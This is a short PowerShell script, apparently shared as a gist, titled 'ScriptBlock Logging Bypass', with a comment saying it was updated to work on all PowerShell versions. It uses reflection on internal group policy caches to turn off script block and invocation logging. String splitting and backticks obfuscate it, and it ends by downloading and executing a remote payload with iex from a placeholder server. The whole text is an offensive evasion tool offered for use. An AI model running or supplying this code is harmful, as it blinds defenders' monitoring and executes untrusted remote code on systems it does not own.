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ScriptBlock Logging Bypass
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| # ScriptBlock Logging Bypass | |
| # @cobbr_io | |
| $GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | |
| If ($GroupPolicyField) { | |
| $GroupPolicyCache = $GroupPolicyField.GetValue($null) | |
| If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | |
| $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
| } | |
| $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() | |
| $val.Add('EnableScriptB'+'lockLogging', 0) | |
| $val.Add('EnableScriptB'+'lockInvocationLogging', 0) | |
| $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val | |
| } | |
| iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1") |
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A little while back, this bypass was 'fixed' (something changed) on the latest version of PS 5.1. Updated it so it will work on all versions of PowerShell.